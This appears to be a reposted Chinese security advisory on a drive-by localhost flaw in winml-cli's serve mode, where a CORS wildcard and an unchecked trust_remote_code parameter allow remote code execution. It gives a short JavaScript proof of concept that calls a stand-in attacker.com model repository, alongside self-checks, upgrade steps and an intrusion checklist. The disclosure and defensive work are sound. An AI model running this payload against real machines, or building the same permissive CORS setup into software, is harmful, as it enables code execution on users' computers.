文章总结: WindowsMLCLI存在严重漏洞,攻击者通过恶意网页利用CORS通配符和trustremotecode参数可实现浏览即RCE。建议立即升级至0.4.0版本,停止使用serve模式或配置严格CORS策略,并排查可疑模型仓库与进程。 综合评分: 92 文章分类: 漏洞预警,WEB安全,安全开发,应急响应,实战经验
浏览恶意网页 → 本地 AI 工具被接管WinML CLI CORS 通配符 → trust_remote_code → 任意代码执行
撅人
2026年9月4日 00:00 广东
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
🔴 导语 · 浏览即中招的本地 RCE
用 Windows ML CLI(winml-cli)做 AI 模型转换的开发者和团队请注意!⚠️
你可能觉得”我这工具只是绑在 localhost 上的,外网访问不到,安全得很”——错了。你的浏览器就是本地进程。
winml-cli 的 serve 模式把所有 CLI 命令通过 HTTP API 暴露在 127.0.0.1 上。开发者的想法很朴素:”只绑本地,只有我自己能访问。” 但它同时设置了 allow_origins = ["*"]——CORS 通配符。这意味着任何你打开的网页,都能通过 JavaScript 向你本地的 winml-cli 服务发请求,还能读取返回结果。
更致命的是,/v1/cli/build 和 /v1/cli/config 接口接受 trust_remote_code 参数,JSON 里的 true 直接变成命令行的 --trust-remote-code 标志,没有任何校验。这个标志一路传递到 Hugging Face transformers 的 AutoConfig.from_pretrained——然后 从攻击者控制的模型仓库里导入 Python 代码,导入即执行,完成 RCE。
完整攻击链只有三步:打开恶意网页 → 网页向 localhost 发跨域请求 → 本地 winml-cli 执行任意 Python 代码。不需要下载、不需要安装、不需要点击确认——浏览即中招。
修复版本 0.4.0 已发布,同时修复了 CORS、trust_remote_code、代理头伪造等多个安全问题。还在跑 0.4.0 以下版本的,今天就升级。
🔍 漏洞速览
| | | | — | — | | 漏洞编号 | CVE-2026-84452 (GHSA-96p9-rh4f-92cf) | | 漏洞类型 | CORS 配置错误 → 跨站请求伪造 → 远程代码执行 | | CVSS 评级 | Low(官方) / 实际影响高 · 浏览即 RCE | | 影响产品 | Windows ML CLI(winml-cli)· Microsoft 开源 AI 模型工具 | | 攻击前提 | 本地运行 winml-cli serve 模式 + 浏览器打开恶意网页 | | 攻击方式 | 恶意网页通过 CORS 通配符调用 localhost HTTP API,设置 trust_remote_code=true | | 受影响版本 | winml-cli < 0.4.0 | | 修复版本 | winml-cli 0.4.0 | | 核心风险 | 浏览恶意网页即可在本地执行任意 Python 代码 | | 发现者 | Zhipeng Wang(timenick)· 微软 |
💥 核心危害:浏览即 RCE 的完整攻击链
这个漏洞的可怕之处在于——攻击门槛极低,影响却极大。 攻击者不需要扫描你的 IP、不需要社工你下载文件,只需要你打开一个网页。
🎯 三步攻击链
① 受害者本地运行了 winml-cli serve 模式(端口 8000,绑定 127.0.0.1)
② 受害者用浏览器打开了攻击者的恶意网页(钓鱼、广告跳转、搜索引擎结果……任何方式都行)
③ 恶意网页的 JavaScript 向 http://127.0.0.1:8000/v1/cli/build 发送跨域 POST 请求
→ CORS 通配符放行 → 设置 trust_remote_code=true → transformers 导入恶意模型仓库的 Python 代码 → RCE!
为什么能成功?两个安全误区叠加
误区 1:”绑在 localhost 就安全”
很多开发者以为绑定 127.0.0.1 就等于”只有本地用户能访问”。但浏览器就是本地进程——浏览器里运行的 JavaScript 也能访问 localhost。localhost 绑定挡住了外部网络的直接访问,但挡不住”从浏览器发起的本地请求”。
误区 2:”CORS 通配符方便开发”
allow_origins = ["*"] 在开发环境很方便——任何来源都能调接口。但对于 localhost 服务来说,这相当于把”只有本地能访问”的安全边界完全抹掉了——全世界的网站都能调用你本地的服务。
// 恶意网页中的 JavaScript(核心 PoC)
fetch(“http://127.0.0.1:8000/v1/cli/build”, {
method: “POST”,
headers: { “Content-Type”: “application/json” },
body: JSON.stringify({
args: {
model: “https://attacker.com/evil-model”,
trust_remote_code: true, // ← 关键!直接变成 –trust-remote-code
output_dir: “/tmp/out”
}
})
});
// CORS 通配符允许跨域 → 请求成功
// transformers 从 attacker.com 下载模型 + Python 代码
// 导入 Python 模块 → 模块级代码执行 → RCE!
为什么导入就执行?
Python 的 import 语句会执行模块文件中的所有顶层代码。攻击者在恶意模型仓库的 configuration_pwn.py 顶层写入恶意代码——transformers 的 AutoConfig.from_pretrained 导入这个配置类时,代码就在导入瞬间执行了,甚至不需要后续的模型构建成功。
💬 关于 CVSS 评级 Low 的说明: 官方 GHSA 标注为 Low,主要因为 winml-cli serve 模式不是默认启用的——用户需要主动启动 serve 模式才会暴露漏洞。但对于启用了 serve 模式的用户,实际风险远高于 Low——浏览即 RCE 的攻击门槛极低、影响极大。如果你或你的团队在使用 winml-cli 的 serve 模式,请按 High 级别对待。
🧠 漏洞原理(人话版)
理解这个漏洞需要搞清三层:localhost 服务的安全边界、CORS 是什么、trust_remote_code 为什么危险。
第 1 层:localhost 服务的”隐形边界”
当你启动一个只绑定 127.0.0.1 的服务时,你建立了一道边界:外部网络访问不到,只有本机能访问。这道边界是网络层的——它阻止了来自其他机器的 TCP 连接。
但浏览器运行在你本机上,它发出的请求是从本机发起的,天然在这道边界之内。所以 localhost 的服务对浏览器中的网页来说,不是外部服务,而是本地服务——网页可以直接发请求过去。
第 2 层:CORS — 浏览器的跨域限制
CORS(Cross-Origin Resource Sharing)是浏览器的安全机制:默认情况下,网页 A 的 JavaScript 不能读取网页 B 的响应(因为源不同)。但如果网页 B 的服务器返回了 Access-Control-Allow-Origin: *,浏览器就会放行——任何源的网页都能读取响应。
对于 winml-cli 来说,allow_origins = ["*"] 意味着:全世界的网站都能通过用户的浏览器,调用你本地的 winml-cli 服务,还能读取返回结果。 localhost 的”隐形边界”被 CORS 通配符完全抹掉了。
第 3 层:trust_remote_code — 从”加载模型”到”执行代码”的跃迁
Hugging Face transformers 库的 trust_remote_code 参数是一个高风险标志。开启后,AutoConfig.from_pretrained 会从模型仓库下载 Python 代码文件(如配置类、模型类)并导入执行。这个设计是为了支持自定义模型架构,但本质上等于”允许模型仓库在你机器上执行任意代码”。
winml-cli 的问题在于:HTTP API 直接接受 trust_remote_code 参数,不做任何校验或警告。攻击者通过跨域请求把这个参数设为 true,就打开了”从模型仓库执行代码”的大门。
✅ 修复方案做了什么?(PR #1321 五次迭代)
这次修复经历了 5 次 commit 迭代,覆盖了多个层面的安全加固:
1️⃣ CORS 改为同源策略——用同源请求保护替代通配符,跨域请求被拒绝
2️⃣ 拒绝 HTTP 启用远程代码——HTTP API 不再接受 trust_remote_code 参数,在模型/配置加载边界强制策略
3️⃣ 集中化命令白名单校验——两种 server 模式统一 CLI 命令允许列表验证
4️⃣ 禁用代理头信任——防止 X-Forwarded-For 等代理头伪造回环地址绕过授权
5️⃣ 回归测试覆盖——23 个安全回归测试 + origin 解析、DNS 重绑定、畸形头、嵌套配置等场景
⏱️ 3 秒自查
❌ 受影响版本(红区)
• winml-cli < 0.4.0
⚠️ 仅在启用 serve 模式时有风险;仅作 CLI 工具使用不受 HTTP 层面影响
✅ 安全版本(绿区)
• winml-cli 0.4.0 及以上
自查命令:
1. 检查 winml-cli 版本
pip show winml-cli
或
winml –version
版本 < 0.4.0 → 中招!
版本 >= 0.4.0 → 安全
2. 检查是否在运行 serve 模式
Windows:
netstat -ano | findstr :8000
或检查进程:
tasklist | findstr winml
有 winml serve 进程 → 高风险
没有 → 仅 CLI 使用,风险降低
3. 快速验证漏洞(确认 CORS 状态)
curl -s -D- -o /dev/null -X OPTIONS \
http://127.0.0.1:8000/v1/cli/build \
-H “Origin: https://evil.example.com”
返回 access-control-allow-origin: * → 漏洞存在
返回 403 或无 CORS 头 → 已修复
🛡️ 修复方案
✅ 方案一:升级 winml-cli(根治)
升级到最新版
pip install –upgrade winml-cli
或指定版本
pip install winml-cli==0.4.0
验证版本
pip show winml-cli | findstr Version
⚠️ 升级后重启所有 winml serve 进程,确保新版本生效。
⚠️ 方案二:临时缓解——不启动 serve 模式
无法立即升级时:
• 停止所有 winml serve 进程——不运行 serve 模式就没有 HTTP 接口,漏洞无法触发
• 只使用 CLI 命令行模式——直接用 winml build / winml config 命令,不走 HTTP API
• 如果必须使用 serve 模式——在前面加一层反向代理(如 nginx),配置严格的 CORS 策略
• 永远不要在 trust_remote_code 开启的情况下加载不可信的模型仓库
⚠️ 这些只是临时措施——根治必须升级到 0.4.0。
🕵️ 入侵排查清单
CORS + RCE 漏洞不留持久化后门,但需要确认是否被利用:
☐ 检查 winml-cli serve 的访问日志,搜索 /v1/cli/build 和 /v1/cli/config 请求
☐ 检查请求中是否包含 trust_remote_code 参数
☐ 检查是否有可疑的模型仓库 URL(非 Hugging Face 官方或已知可信源)
☐ 检查 Python 进程是否有异常的子进程或网络连接
☐ 检查 transformers 缓存目录(~/.cache/huggingface/)中是否有可疑模型文件
☐ 如确认被利用——全盘扫描、检查持久化机制、轮换凭证
☐ 升级后验证:跨域请求应被拒绝,trust_remote_code 参数应被忽略
⚠️ 安全提醒
这个漏洞是一个教科书级的”localhost + CORS 通配符“安全误区案例。
很多开发者的直觉是:”我这服务只绑在 localhost,外部访问不到,所以很安全。” 这个直觉只对了一半——外部网络确实访问不到,但你的浏览器能访问到。浏览器运行在你本机上,它发出的请求天然在 localhost 的边界之内。而 CORS 通配符相当于告诉浏览器:”任何网站的 JavaScript 都能调用我。”
这两个安全决策单独看似乎都有道理:
• “绑在 localhost” → 保护不受外部网络攻击 ✅
• “CORS 通配符” → 方便前端开发调试 ✅
但放在一起,就产生了1+1 > 2 的安全问题:localhost 的边界被 CORS 通配符从内部攻破,全世界的网站都能通过用户的浏览器调用你本地的服务。
更值得警惕的是,这不是孤立案例。任何提供 HTTP 接口、绑定 localhost 且设置 CORS 通配符的本地工具,都可能存在同类漏洞——从开发服务器、数据库管理工具、到各种 CLI 的 serve 模式。这类漏洞有个专门的名字叫 “Drive-by Localhost Attack”(路过式本地攻击),攻击向量是”受害者浏览了一个恶意网页”,门槛极低。
如果你在开发本地 HTTP 服务,记住这几条原则:
1️⃣ 永远不要对 localhost 服务设置 CORS 通配符——如果需要跨域,用精确的 origin 列表或同源策略
2️⃣ localhost 服务也需要认证——token、CSRF token、或至少一个随机生成的 secret
3️⃣ 不要信任 Origin 头——它可以被非浏览器客户端伪造
4️⃣ 高风险参数(如 trust_remote_code)绝不通过 HTTP 接口直接暴露——至少要确认请求来源可信
转发给你们 AI 开发、DevOps 和安全团队——用 winml-cli 的,今天就升级。所有做本地 HTTP 服务的,自查 CORS 配置。
📎 官方参考
• GitHub Advisory(GHSA-96p9-rh4f-92cf):github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf
• 修复 PR #1321(五次迭代完整过程):github.com/microsoft/winml-cli/pull/1321
• 修复 commit f4073e0:github.com/microsoft/winml-cli/commit/f4073e0
本文仅供安全研究与防御参考,修复请以 winml-cli 官方公告为准。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:撅人 《浏览恶意网页 → 本地 AI 工具被接管WinML CLI CORS 通配符 → trustremotecode → 任意代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论